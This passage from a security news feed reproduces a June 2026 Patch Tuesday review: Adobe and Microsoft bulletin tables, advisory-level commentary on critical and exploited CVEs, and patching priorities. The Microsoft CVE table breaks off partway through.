a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
